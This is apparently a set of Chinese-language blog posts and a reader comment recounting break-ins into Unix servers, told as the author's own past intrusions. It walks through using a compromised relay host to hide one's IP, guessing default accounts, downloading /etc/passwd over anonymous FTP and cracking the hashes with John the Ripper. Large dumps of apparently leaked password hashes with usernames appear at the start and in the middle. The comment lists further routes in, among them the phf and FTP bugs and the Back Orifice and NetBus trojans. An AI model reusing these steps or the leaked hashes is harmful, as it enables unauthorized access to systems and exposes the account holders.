a0929:HjOJUtKxoZvso:822:100:XXX:/home2/a0929:/bin/bash
a100103:OmRRvUVIly.TE:823:100::/home2/a100103:/bin/bash
a1002:BpsOf1ItcDCPY:824:100:=:/home2/a1002:/bin/bash
a1003:FbvUAhHn0zjL.:825:100:XXX:/home2/a1003:/bin/bash
a100201:GeTMTQt/KZn5.:826:100:XXX:/home2/a100201:/bin/bash
a100202:Bh.Qc2jrdyk6s:827:100::/home2/a100202:/bin/bash
globe:DphBoLZAC/gVU:828:100:6:/home2/globe:/bin/bash
one:Ogi/4PFicXTqY:829:100:666:/home2/one:/bin/bash
a100601:Kh9EcG.2ygpj.:830:100:64646:/home2/a100601:/bin/bash
ahhein:Hg2eSHS3zxPx2:831:100:a13in:/home2/ahhein:/bin/bash
a1006:LnfiMOAtRL8BY:832:100:13213:/home2/a1006:/bin/bash
a1007:JbySF10xp51bI:833:100:1313:/home2/a1007:/bin/bash
janel:Dk9Z8LV9zHdzs:835:100:1:/home2/janel:/bin/bash
a1009:EiIirYV7VLbuQ:834:100:hacker:/home2/a1009:/bin/bash
cmlee:PnYqRsu.nPAL2:836:100:die:/home/cmlee:/bin/bash
a1013:cHZxxuWtDQ8asdzs:837:100:birdyou:/home2/a1013:/bin/bash
sex:If2t5hwyxkepo:838:100:XXXXXXX:/home2/ctc:/bin/bash
bank1002:NoSh6t8aQahqg:839:100::/home2/bank1002:/bin/bash
vivianl:DmkzkpufuQiqs:840:100:viianl:/home/vivianl:/bin/bash
cindy:LhBr16OOsow7M:841:100:midi:/home2/cindy:/bin/bash
a1015:AlRlbFs9hDvX2:842:100:XXXX:/home2/a1015:/bin/bash
riche:AAKfjde.cw71E:851:100:ss:/home/riche:/bin/bash
a1023:DiKoDx7hXzQOA:852:100:a10s23:/home2/a1023:/bin/bash
maa311:Bi7suQzM78VRA:853:100:ss:/home2/maa311:/bin/bash
a1024:ElkxZ16YT9jEA:854:100:a10124:/home2/a1024:/bin/bash
a1025:FjWco/xocdFao:855:100:a11:/home2/a1025:/bin/bash
info:DidB8kBtoIrvk:856:100:111:/home2/info:/bin/bash
a1029:74Y2O2spd/ck.:857:100:12313:/home2/a1029:/bin/bash
chao717:OpixVUAtGqMWo:858:100:chd7:/home2/chao717:/bin/bash
jenny:PaG1TJbakmVlA:859:100:eewr:/home2/jenny:/bin/bash
a1103:Pfb5jTyb9TH8.:860:100:1:/home2/a1103:/bin/bash
danielsh:FfPLIJ0W/Wg56:861:100:SSS:/home2/danielsh:/bin/bash
hsiuying:JeoAtZbpU26zA:862:100:XXXXX:/home2/hsiuying:/bin/bash
julia:Dnu7eh/0aZRuw:863:100:jia:/home2/julia:/bin/bash
alansun:DkVaIGBpiNVWU:865:100:X:/home2/alansun:/bin/bash
hpchen:IplOj/rXMCa4.:870:100:h:/home2/hpchen:/bin/bash
sty:IfTkRBJrqWzh.:871:100:(XXXX):/home2/sty:/bin/bash
lsp:Ei6KojaqtZeYw:872:100:(XXXX):/home2/lsp:/bin/bash
aaa:KkZ3Ibt9O.CkQ:873:100:(XXXX):/home2/aaa:/bin/bash
tayu:Jmhv67fnZl5xQ:874:100:(XXXX):/home2/tayu:/bin/bash
shehzi:IapPDXm/K4NOo:875:100:(XXXX):/home2/shehzi:/bin/bash
a520218:Lg3fRaVk8E9HA:876:100:3:/home2/a520218:/bin/bash
a1114:AdJ6KK0IzsemU:877:100:2:/home2/a1114:/bin/bash
camel:PcJun0z60FT.w:880:100:l:/home2/camel:/bin/bash
a1127:Ppxbk84JuWX9k:881:100:XXX:/home2/a1127:/bin/bash
a1128:Cg4TbqPUr8hfA:883:100:XXX:/home2/a1128:/bin/bash
alices:FoAO2KTcDVnHg:889:100:XXX:/home2/alices:/bin/bash
a1203:NozjKntl8kbo6:901:100:XXX:/home2/a1203:/bin/bash
judy:IfAUdtCofQgPc:906:100::/home2/judy:/bin/bash
dick:wzxY2CqxZFeo2:907:100:fuckyou:/home2/dick:/bin/bash
marshon:LgMGvOjSPbCF.:908:100:shit:/home2/marshon:/bin/bash
yheshujen:TYChfXwhZtqOs:912:100:love:/home2/yheshujen:/bin/bash
yheshuje:HdCMDwc/ltFJ6:913:100:dog:/home2/yheshuje:/bin/bash
a1212:Pmeo0sLvH6XBc:914:100:a1li2:/home2/a1212:/bin/bash
ryu007:KOUNwR6glak8k:915:100:XXX:/home2/ryu007:/bin/bash
a1217:XDx9g0Z8nnFao:918:100:S:/home2/a1217:/bin/bash
dean:LbXMTir0/b2:923:100::/home/dean:/bin/bash
uncle:MgTS1c4WVeo:935:100:SS:uncle:/home/uncle:/bin/bash
marty:HbhIw98B.pU:936:100:ppp:/home2/marty:/bin/bash
wangs:NmJKmHxANT.A:937:100:wanX:/home2/wangs:/bin/bash
lichin:BeIYhWHzReWw:938:100:XX:/home2/lichin:/bin/bash
killer:CfLjfqDPHEI:949:100:xxxxx:/home/killer:/bin/bash
hopo:OmvLC.wSwoAw:950:100:xxxxx:/home/hopo:/bin/bash
wisely:OfxXOHDBoBas:808:100:XXX:/home/wisely:/bin/bash
a0316:MYE55ILwL0W6:951:100:zZZ:/home/a0316:/bin/bash
mike:GaPTuRbB5YxQ:952:100:Zzz:/home/mike:/bin/bash
leefon:OjH9nNwrxpKw:528:100:xXx:/home/leefon:/bin/bash
emily:McnEa7/DnKX2:721:100:XXX:/home/emily:/bin/bash
hsu:Mjdt9ULaDU6I:864:100:XXX:/home/hsu:/bin/bash
kib96972:EPX/.iIagWIM:866:100:QQ:/home/kib96972:/bin/bash
jclin:yR0NZwxF2MR6:506:100:XX:/home/jclin:/bin/bash
sally:AnG2N3kaT/w:511:100:sally:/home/sally:/bin/bash
gigi:Loc00onRPGc:868:100::/home2/gigi:/bin/bash
wennyang:NmrQjlKEY76.k:510:100:WW:/home/wennyang:/bin/bash
apple:HdBGdHrfy6d2:512:100:WWW:/home/apple:/bin/bash
sharon:CmEC61oPc8E:520:100:XXX:/home/sharon:/bin/bash
airtimes:EnlYhAy/uxY:521:100::/home/airtimes:/bin/bash
.
.
.
[受不了..省略..驚死我!!密碼太多了..害我碼賽克花了快一小時]

(趕快把密碼存好吧....)

[後記]

txt檔的文件不能放很多的字元...所以沒有多少空間可以說感想了..只是"中間動作"卻只說了一個...其他的就讓讀者去自己練習看看吧..呵.別說我懶惰.呵!!!

Posted by DeepSe@ at 痞客邦 PIXNET 留言(0) 引用(0) 人氣()

[前言]

對於著作這份文章的目的並不是在於教育.因為個人覺得台灣的網路雖然已經有所發展了...但是對於網路安全的重要性卻是漠不關心..或者是沒有足夠的知識....這是相當危險的一個現象..就算是大專院校.政府機構.公司行號...甚至是網路業者.ISP對於網路安全和系統管理的正確觀念和態度實在是相當缺乏...所以說不定在往後的日子裡,只要一台cp和一台數據機,就可以讓整個台灣網路崩潰....甚至是引起經濟危機!!就像是一個小孩子拿著一把槍在路上逛一樣...Too Bad!!所以我寫這篇文章純粹是為了台灣網路安全而寫的.並不希望有人因為這篇文章而去做違法的事情~~尤其是破壞別人的系統或是檔案!!
當然啦~如果有人因此做了違法的事情,本人概不負責!!!
"水能載舟也覆舟"....只是告訴你駭客是如何入侵你的系統.

[主題]

入侵

[困難度]

普通

[說明]

很久沒有寫文章了.因為最近和幾個網友們一起搞了一個站台…所以又開始來給它寫文章了..覺得有點痛苦.但是希望對網路安全有興趣的朋友能有所幫助…當然啦!!一開始要先從最基本的東西開始講起了…

[開始]

起先最最最基本的就是要用telnet和ftp了…它們兩個可是入侵的好幫手呦~~^^ …網路上有許多的telnet的版本.有彩色的啦.中文相容的啦..很多很多~但是如果你不想去花時間去下載的話….沒關係!!在windows下的Ms-Dos也有提供一個好用的telnet程式..當然也有ftp啦!!
如果你有telnet的軟體的話就打開吧....沒有的就用Ms-Dos的telnet.只要在Ms-Dos下打下telnet就可以了…然後就開始吧~~呵呵呵….
先連到自己的或者是你可以用的主機上

SunOS 5.6

login: Love-gone
Password:
Last login: Sun May 10 15:01:45 from 111.222.333.444
tcsh: getwd: Cannot open directory "../" (Permission denied)
tcsh: Trying to start from "/home/Love-gone"
Sun Microsystems Inc. SunOS 5.6 Generic August 1997
Copyright by Andrew Chen 98/01/07
You have new mail.

(嘻嘻嘻….這是我以前入侵過的了…現在我把它當成是中間伺服器了..當然了ip和帳號都已經被我改了ㄚ~~怎麼可能用真的ip呢!!這個系統很有名的…我想只要是住在台灣的人都知道這個機構..但是我不能說.呵呵…)

>who (先確定一下這個主機現在有什麼人)
judge4 pts/1 May 10 15:17 (111.222.333.444)
root console May 9 12:24 (:0)
root pts/9 May 9 12:24 (:0.0)

(看來現在主機上應該不會有人發現我..呵…這樣就可以放心的連到這次要攻擊的目標上了…嗯~這次目標是www.fatman.com.tw…呵.別緊張~~那主機名稱是我已經修改過的了)

>telnet www.fatman.com.tw (先用telnet過去)

Trying 1.145.256.139...
Connected to www.fatman.com.tw.
Escape character is '^]'.

fatman login: guest (先試一試guest這個公用帳號看看)
Password:
Login incorrect (阿~~不成功..沒關係.我再試)

fatman login: news
Password:
Connection closed by foreign host.

(哇~~才兩次不成功就被趕出來了喔....這個系統還真狠..@&!J#~!)

> telnet www.fatman.com.tw (沒關係...再給它玩看看)

Trying 1.145.256.139...
Connected to www.fatman.com.tw.
Escape character is '^]'.

fatman login: fatman (駭客的第六感...)
Passwd:
Login incorrect

fatman login: system (這是系統的預設帳號...)
Passwd:
Login incorrect (看來已經被改過了..)
Connection closed by foreign host.
>ftp www.fatman.com.tw (改用ftp看看)

Connected to www.fatman.com.tw.
220-
220-
220- Fatman Communication Services ,INC
220-
220- Fatman有夠爛服務有限公司
220-
220- 高雄 FTP server
220-
220- There are 4 users in FTP Server now.
220- 目前已有 4 使用者在此 Server 上.
220- If you have any suggestion, please mail to:
220- user@hostname.
220-
220-
220-
220 fatman FTP server (Version wu-2.4(2) Tue Oct 15 15:53:37 CST 1996) ready.
User (www.fatman.com.tw:(none)): fatman (還是一樣試一下公司的名字)
331 Password required for fatman.
Password:
530 Login incorrect.(真失敗~~今天運氣好像不太好的樣子)
Login failed.
ftp> user anonymous (用anonymous的公用帳號看看好了)
331 Guest login ok, send your complete e-mail address as password.
Password: (密碼隨便打..千萬別傻到打真的e-mail..打qq@就好)
230 Guest login ok, access restrictions apply.
ftp>pwd

(終於進來了..好辛苦~~~..先看看自己在那個資料夾在說)

257 "/" is current directory.
ftp> ls -la

(尋找一下目標 /etc)

200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 8
drwxrwxr-x 8 root wheel 1024 Feb 2 01:21 .
drwxrwxr-x 8 root wheel 1024 Feb 2 01:21 ..
drwxrwxr-x 2 root wheel 1024 Jun 10 1996 bin
drwxrwxr-x 2 root wheel 1024 Jun 10 1996 etc
drwxrwxr-x 2 root wheel 1024 Dec 3 1993 incoming
drwxrwxr-x 2 root wheel 1024 Nov 17 1993 lib
drwxrwxr-x 2 root wheel 1024 Feb 2 01:20 pub
drwxrwxr-x 3 root wheel 1024 Jun 10 1996 usr
226 Transfer complete.
491 bytes received in 3.13 seconds (0.16 Kbytes/sec)

(嘻嘻....找到目標了..)

ftp> cd etc

(馬上攻擊進去)

250 CWD command successful. (嗯~可以進來...)
ftp> ls -la

(再看一下有沒有我們要的密碼檔/etc/passwd)

200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 4
drwxrwxr-x 2 root wheel 1024 Jun 10 1996 .
drwxrwxr-x 8 root wheel 1024 Feb 2 01:21 ..
-rwxrwxr-x 1 root wheel 258 Dec 3 1993 group
-rwxrwxr-x 1 root wheel 532 Dec 3 1993 passwd
226 Transfer complete.
251 bytes received in 0.00 seconds (251000.00 Kbytes/sec)

(不會吧...竟然那麼容易)

ftp> get passwd

(二話不說..馬上抓密碼檔下來...呵呵.)

200 PORT command successful.
150 Opening ASCII mode data connection for /etc/passwd (321 bytes).
226 Transfer complete.
5515 bytes received in 1.60 seconds (1.01 Kbytes/sec)

ftp>bye
221 Goodbye.

(馬上走人)

>cat passwd

(看一下剛才的密碼檔是....)

root:*:0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:*:65535:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash
guest:*:405:100:guest:/dev/null:/dev/null
.
.
.
[以下省略]

(真衰..是shadow過的密碼檔....也難怪用anonymous就能抓下來..如果就只有這個的話就無法解開密碼了....但是可以從裡面的帳號知道fatman有提供那些服務.像是uucp .mail . ftp . news ...
operator是開機用的,所以沒有用.daemon是用來分佩每一個帳號的權限用的)

>rm passwd

(還是把它給消到好了...)

>^D

(好累..先講到這裡吧...至少已經知道怎麼入侵到系統裡面了)

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-**-*-*-*-*-*-*-*-*-*-*-*
[休息時間]
*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*--*-*-*-*-*-*-*-*-*-*-*-*-*-*

嗯~~接著上次還沒說完的話題..
上次是拿到了已經shadow過的/etc/passwd!!別以為它沒有用喔...呵呵..雖然不能直接用它還破解密碼.但是它也為我們收集到一些系統的資訊..現在就在把它拿出來看看吧...


SunOS 5.6

login: Love-gone
Password:
Last login: Sun May 10 15:01:45 from 111.222.333.444
tcsh: getwd: Cannot open directory "../" (Permission denied)
tcsh: Trying to start from "/home/Love-gone"
Sun Microsystems Inc. SunOS 5.6 Generic August 1997
Copyright by Andrew Chen 98/01/07
You have new mail.

(還是一樣先連到中間伺服器,這樣可以確保不在攻擊的系統內留下自己的ip..別人也就不能用逆流法來找了...但是中間伺服器是越多越好!!)

>who

(還是看一下安不安全)

judge4 pts/1 May 10 15:17 (111.222.333.444)
root console May 9 12:24 (:0)
root pts/9 May 9 12:24 (:0.0)

(還是一樣沒人管)

>telnet www.fatman.com.tw

(攻擊開始...)


Trying 1.145.256.139...
Connected to www.fatman.com.tw.
Escape character is '^]'.

fatman login:nobody (先試一試被shadow過的密碼檔裡的帳號)
Password: (密碼也打nobody...)
Login incorrect

fatman login:news (再試一下這個好了..)
Password: (也是news..)

Linux 2.0.29.
You have mail.

(嗚哇啦!!!!進來了....千萬別看別人的信喔..)

fatman:~$ cd /etc (看能不能進來)
fatman:/etc$ ls

(看一下...)


DIR_COLORS hosts passwd.old
HOSTNAME hosts.allow passwd.save
HOSTNAME~ hosts.allow~ passwd~
NETWORKING hosts.deny ppp/
NNTP_INEWS_DOMAIN hosts.equiv printcap
X11@ hosts.lpd profile
aliases inet@ protocols
aliases.dir inetd.conf psdevtab
aliases.pag inittab rc.d/
at.deny inittab.gettyps.sample resolv.conf
bootptab inittab~ resolv.conf~
csh.cshrc ioctl.save rpc
csh.login issue securetty
default/ issue.net@ securetty.old
diphosts issue~ sendmail.cf
exports klogd.pid sendmail.st
fastboot ld.so.cache services
fdprm ld.so.conf shells
fs/ lilo/ skel/
fstab lilo.conf slip.hosts
ftp.banner localtime slip.login
ftp.deny magic snooptab
ftp.pids-local mail.rc sudoers
ftp.pids-remote motd syslog.conf
ftpaccess motd.bak syslog.pid
ftpconversions msgs/ termcap
ftpgroups mtab ttys
ftpusers.old mtools utmp@
gateways named.boot.bak vga/
gettydefs networks wtmp@
group nntpserver yp.conf.example
group~ passwd
host.conf passwd.OLD
fatman:/etc$ cat passwd

(接下來就直接看密碼再說...)


root:L3mUc0CQtJbtQ:0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:*:65535:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash
guest:*:405:100:guest:/dev/null:/dev/null
www:et9dAbOK/d.22:502:20:WWW Manager:/home/staff/www:/bin/bash
kanglin:MuPKS0CUvOTZY:506:100:Kanglin:/home/w3/kanglin:/bin/bash
bakery:Cyaxe9TzJ231w:508:100:Bakery:/home/w3/bakery:/bin/bash
carven:9qdffJaMgRxih6g:509:100:Carven:/home/w3/carven:/bin/bash
prime:nPOlsQhQFJ.aM:511:100:Prime:/home/w3/prime:/bin/bash
thfam:TMaFWlpc1jjwk:512:100:XXXXXXX:/home/w3/tham:/bin/bash
ccc:GqETv4g.CkVwI:513:100:ccc:/home/w3/ccc:/bin/bash
sk:sLz71sff56MVuY:514:100:sk:/home/sk:/bin/bash
services:9yBqHWfnnNr.k:515:100:XX:/home/w3/haurey/services:/bin/bash
order:LpnMHVgy9M/YU:516:100:XX:/home/w3/haurey/order:/bin/bash
corey:mhRsFO60fdFsMU:517:100:XXXXX:/home/w3/haurey/corey:/bin/bash
richard:fzhKTHW8.CKqU:519:100:richard:/home/w3/richard:/bin/bash
lilian:ozxKeTsi5REIQ:520:100:lilian:/home/w3/lilian:/bin/bash
support:vn0bgtsLAlF1HU:521:100:support:/home/w3/support:/bin/bash
hotline:BiSzCJsDhVl7c:522:100:hotline:/home/w3/hotline:/bin/bash
stosnny:hXgyLXFqcs/AHM:523:20::/home/staff/stonny:/bin/csh
becar:Donscgh0GVY/5c:524:100:bear:/home/w3/bear:/bin/bash
lanxce:IPf7USG6iwgxBEI:525:20:Chien-chia Lan:/home/staff/lance:/bin/tcsh
taiwankk:ijPWXFxmRF79RY:526:100:hotline:/home/w3/taiwankk:/bin/bash
lihxeng:6hGixt6xKgezmo:528:100:prime liheng:/home/w3/liheng:/bin/bash
caves:MiDgr92ymp2Mg:529:100:gallery:/home/w3/caves:/bin/bash
salecs:dL3OnAueiqVfw:518:100:prime:/home/w3/prime/sales:/bin/bash
kingtel:od7SRJ9xe/FjhM:530:100:kingtel:/home/w3/kingtel:/bin/bash
cp:ISunFXY9M0Hgc:530:100:kingtel:/home/w3/kingtel:/bin/bash
recycle1:JgbZHVRE4Jf3U:531:100:recycle1:/home/w3/recycle1:/bin/bash
recycle2:M0l95vf9h7vic:532:100:recycle2:/home/w3/recycle2:/bin/bash
recycle3:XhyoUBFQspiS2:533:100:recycle3:/home/w3/recycle3:/bin/bash
recycle:CizrTipBMw/HE:534:100:recycle:/home/w3/recycle:/bin/bash
hxnet:KhB./jHw.XNUI:536:100:hxnet:/home/w3/hxnet:/bin/bash
goodbook:Ul8iUr9FzoFw2:535:100:goodbook:/home/w3/goodbook:/bin/bash
sales1:JmKzPOBMIIYUI:537:100:sales1:/home/w3/prime/sales1:/bin/bash
rwu:Pai8mYCRQwvcs:539:100:rwu:/home/w3/kingtel/rwu:/bin/bash
charliex:Of6HaxdxkDBDw:540:100:charliex:/home/w3/kingtel/charliex:/bin/bash
jdlee:Mhq3gZNup9E3Q:538:100:jdlee:/home/w3/kingtel/jdlee:/bin/bash
tkchen:GkTU8ecYIXEyw:541:100:tkchen:/home/w3/kingtel/tkchen:/bin/bash
slb:Olf22.gHBZ.QQ:542:100:slb:/home/w3/kingtel/slb:/bin/bash
s6t4:GnHFCPdZX7nkU:543:100:s6t4:/home/w3/kingtel/s6t4:/bin/bash
lsh:GftygyOntHY6Y:545:100:lsh:/home/w3/kingtel/lsh:/bin/bash
nalcom:XziVebJA8EO1.:546:100:nalcom:/home/w3/prime/nalcom:/bin/bash
jordon:mPgNPVEkIEORM:547:100:jordon:/home/w3/jordon:/bin/bash
toonfish:wTscIuas4EeTE:548:100:toonfish:/home/w3/toonfish:/bin/bash
yahoo:DCIF2rp23sAZE:549:100:yahoo:/home/w3/yahoo:/bin/bash
basic:VlM0BAFKD314U:550:100:basic:/home/w3/basic:/bin/bash
basic1:Mi0gv.LN2wj2A:550:100:basic:/home/w3/basic:/bin/bash
basic2:FifwXaOXQy.J6:550:100:basic:/home/w3/basic:/bin/bash
basic3:VjgWDVTrpZ3uM:550:100:basic:/home/w3/basic:/bin/bash
basic4:fj3oHbeObcN46:550:100:basic:/home/w3/basic:/bin/bash
wunan:gdBvMnS0849pU:551:100:XXXXX:/home/w3/wunan:/bin/bash
kaoune:vd5VCD9OE87Ak:552:100:XXXXXXX:/home/w3/kaoune:/bin/bash
shuchuan:8et34aLi8OuyA:553:100:XX:/home/w3/shuchuan:/bin/bash
culture:ulQCNUH8dNmTo:551:100:XXXX:/home/w3/wunan:/bin/bash
fan:Jk6E9PqP7rxemg:554:100:fan:/home/w3/toonfish:/bin/bash
pierre:m9EpXqETIdvWM2:555:100:pierre:/home/pierre:/bin/bash
bausch:snwtjqhusCyqxQw:556:100::/home/w3/bausch:/bin/bash
saatchi:RIJ4layRsdHRBSM:557:100:XX:/home/w3/saatchi:/bin/bash
office:st0H2jg2gQjEqvI:558:100:XX:/home/w3/office:/bin/bash
poja:p7ptVmOq3nrUL.:559:100:XXXXXXXX:/home/w3/poja:/bin/bash
michelle:AmcgVpzMufCZJs:560:100:michelle:/home/w3/kingtel/michelle:/bin/bash
kloop:HboPgsyfndbAnE:544:100:XXXX:/home/w3/kloop:/bin/bash
people:Br.sC8VNnDVsA46:561:100:XXXX:/home/w3/people:/bin/bash
net:*MgwAiyhlgelfaU:564:1:*:/home/net:/bin/bash
caves0:PnjQ46ePzjx5xg:562:100:caves0:/home/w3/caves0:/bin/bash
erichou:DgkOzzWs0wVAwU:563:100:xxxx:/home/w3/erichou:/bin/bash
mikehxou:Oh0Xkkf.PhfepWs:565:100:mikehou:/home/w3/mikehou:/bin/bash
stevehou:IjIRrpcMz4K/ek:566:100:stevehou:/home/w3/stevehou:/bin/bash
water:B.9eP0GITFCgs:567:100:tiawanKK:/home/w3/water:/bin/bash
kanox:HoIbp4FOfvFmc.:568:100:tiawanKK:/home/w3/kanox:/bin/bash
louisa:u1gzbBv76EXBSU:569:20::/home/staff/louisa:/bin/csh
banafna:Ew5x9rZDifhfheCQs:570:100:xxx:/home/w3/banana:/bin/bash
trendfy:lHBdw2hGbNBZAI:570:100:banana:/home/w3/banana:/bin/bash
yenyun88:BbyphrvmuE7ww:571:100:toonfish:/home/w3/toonfish:/bin/bash
tonghai:KfwH4OYNQsK3c:572:100::/home/w3/tonghai:/bin/bash
chunti:Onhdw0Yso8EMpo:574:100::/home/w3/chunti:/bin/bash
jengjr:eH2UAa9VZI3hk:573:100:Jeng-jr LI:/home/jengjr:/bin/bash
chiniafn:FjYbcbfdhaJsk2vhON6:575:100:Chinian Wang:/home/chinian:/bin/bash
.
.
.
[以下省略.密碼檔我已經盡量碼賽克了]

(哇....太好了!!趕快換ftp來秀一下吧~~~)

fatman:/etc$ ^C
>ftp www.fatman.com.tw

(ftp兄來了...)


Connected to www.fatman.com.tw.
220-
220-
220- Fatman Communication Services ,INC
220-
220- Fatman有夠爛服務有限公司
220-
220- 高雄 FTP server
220-
220- There are 4 users in FTP Server now.
220- 目前已有 4 使用者在此 Server 上.
220- If you have any suggestion, please mail to:
220- user@hostname.
220-
220-
220-
220 fatman FTP server (Version wu-2.4(2) Tue Oct 15 16:53:37 CST 1996) ready.
User (www.fatman.com.tw:(none)): news (用剛才入侵時的那個..)
331 Password required for news.
Password:
331 news login ok!
ftp>cd /etc
250 CWD command successful.
ftp>get passwd
200 PORT command successful.
150 Opening ASCII mode data connection for /etc/passwd (5921 bytes).
226 Transfer complete.
5515 bytes received in 2.80 seconds (1.97 Kbytes/sec)
ftp>bye

(落跑了...閃喔!!)

221 Goodbye.

(/etc/passwd既然已經到手了...接下來的事你應該知道吧..啥??不知道嗎???..那麼就在此解說一下好了...)

[Love-gone的話]

拿到密碼檔(/etc/passwd)後要做的就是破解它呀...看來我必須在這裡說明一下passwd的格式和意義了...

例如:
root:L3mUc0CQtJbtQ:0:0:root:/root:/bin/bash
密碼格式大多都是這個樣子的.然後每一欄都是用分號分開的..大多是6個分號...當然密碼格式有很多種..據我所知.目前我看過的密碼格式有5種了...但是大多數應該都是用6個分號的這種為多..然而每一欄代表的意義如下..

root:使用者名稱
L3mUc0CQtJbtQ:是已經經過編譯的密碼(coded-password)
0:UID(User Identification Number),就是使用者辨識碼
0:GID,就是使用群組的辨識碼
root:comments,註解欄..可能是電話號碼or住址
/root:home directory,就是所謂的來源目錄..即你的工作目錄
/bin/bash:這一欄是表示使用者簽入系統後,第一個執行的程式

因為是已經編譯過的單向密碼(One-Way Passwd),所以不可能反組譯....就只能使用所謂的暴力破解法了..關於暴力破解法的程式有很多..在此就不討論瞭解!我想你應該都知道才對..什麼??說我無情??..好吧!!建議你我用的是John4.0


[感言]

唉..從這份文章就可以知道台灣的網路安全做的非常不好..連提供撥接的isp公司都那麼容易被入侵..真可悲


Posted by DeepSe@ at 痞客邦 PIXNET 留言(1) 引用(0) 人氣()

hi,

shadow是很多haker的目標,但想拿到它是有點麻煩,以前我也很頭痛,不過後來與幾個黑友互相交流經驗才總結了一些方法...大致講講,

希望你能有所收穫.

1.phf的漏洞..成功的可能性很小,我大約試過200多個站,有三個站可直接拿到它沒shadow過的passwd或shadow文件(用root跑http才行)

2.ftp的漏洞,到處都有講的,一般sun os 5.5和solairs2.5以下成功率極高.

3.用B.O / netspy / legion /netbus可能會入侵到一些網管使用的x86主機,有時他們自己把shaow做備份或其他資料,你可以直接拿到.比如以前的三峽熱線.

4.綜合法:運用一個shell賬號和exploits的資料拿到root權後,直接拿shadow文件對大多數種類unix都很有效.關鍵是第一個shell賬號.要拿第一個shell賬號,方法也很多...

5.對win NT/95/98系統,shadow無用,一般用其他方法入侵修改主頁......

mail中講的不可能很詳細,要靠你自己摸索具體的方法.:)其實hacker並不僅僅為了拿shadow,hack的內容很廣泛,可能真的是條漫漫長路你的unix知識要補習了!或者coolfirl和THX的教學沒認真看:)以下是一個passwd和它對應的shaow,可以看到兩者的區別,


--------------------------------------------------------------------------------

passw文件:

----------------------------------------------------

root:x:0:3:0000-Admin(0000):/:/usr/bin/ksh

daemon:x:1:12:0000-Admin(0000):/:

bin:x:2:2:0000-Admin(0000):/usr/bin:

sys:x:3:3:0000-Admin(0000):/:

adm:x:4:4:0000-Admin(0000):/var/adm:

uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:

mail:x:6:6:Mail Processes:/etc/mail:

nuucp:x:10:10:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico

nobody:x:60001:60001:uid no body:/:

noaccess:x:60002:60002:uid no access:/:

lp:x:7:9:0000-LP(0000):/var/spool/lp:/usr/bin/sh

smtp:x:55:6:SMTP Processes:/var/spool/mailq:/usr/bin/sh

listen:x:37:4:Network Admin:/usr/net/nls:/usr/bin/sh

morris:x:100:1::/home/morris:/usr/bin/sh

www:x:105:101:HTML File Owner:/home/www:/bin/sh

william:x:211:1::/home/william:/usr/bin/ksh

fax:x:5:5:Facsimile Agent:/usr/IRS/lib/fax/spool:/usr/bin/sh

ftp:x:106:102:Anonymous ftp user:/home/ftp:/bin/ksh

ftpadm:x:107:102:Anonymous ftp admin:/usr/IRS/lib/ftpd/etc/ftpd:/bin/ksh

news:x:99:99:News User:/usr/IRS/lib/news:/bin/ksh

usenet:x:108:99:News Master:/home/usenet:/bin/ksh

lwh:x:109:1:SE Engineer:/home/lwh:/usr/bin/sh

user1:x:110:1:SE Engineer:/home2/user1:/usr/bin/ksh

sxj:x:111:1:shen xiao jun:/usr/lib/passwd:/usr/bin/sh

feng_zy:x:112:1:Feng Zhiyuan:/home/feng_zy:/usr/bin/sh

cy:x:113:1:ceng yan :/home/cy:/usr/bin/ksh

mxj:x:114:1:SE Engineer:/home/mxj:/usr/bin/ksh

lzz:x:117:1:SE Engineer:/home/lzz:/usr/bin/ksh

zbs:x:119:1:SE Engineer:/home/zbs:/usr/bin/ksh

jgb:x:120:1:SE Engineer:/home/jgb:/usr/bin/ksh

ycb:x:121:1:SE Engineer:/home/ycb:/usr/bin/ksh

xxb:x:122:1:SE Engineer:/home/xxb:/usr/bin/ksh

scb:x:123:1:SE Engineer:/home/scb:/usr/bin/ksh

zhb:x:124:1:SE Engineer:/home/zhb:/usr/bin/ksh

zyw:x:125:1:SE Engineer:/home/zyw:/usr/bin/sh

yeinet:x:127:1:SE Engineer:/home/yeinet:/usr/bin/sh

kmnz:x:132:1:SE Engineer:/home/kmnz:/usr/bin/ksh

zhl:x:134:1:SE Engineer:/home/zhl:/usr/bin/ksh

TJG:x:136:1:SE Engineer:/home/TJG:/usr/bin/sh

bsdjxxzx:x:137:1:SE Engineer:/home/bsdjxxzx:/usr/bin/sh

dlzxxzx:x:138:1:SE Engineer:/home/dlzxxzx:/usr/bin/sh

njzxxzx:x:139:1:SE Engineer:/home/njzxxzx:/usr/bin/sh

dhzxxzx:x:140:1:SE Engineer:/home/dhzxxzx:/usr/bin/sh

fgk:x:141:1:SE Engineer:/home/fgk:/usr/bin/sh

wl:x:142:1:SE Engineer:/home/wl:/usr/bin/sh

YXJW:x:144:1:SE Engineer:/home/YXJW:/usr/bin/sh

HHZX:x:145:1:SE Engineer:/home/HHZX:/usr/bin/sh

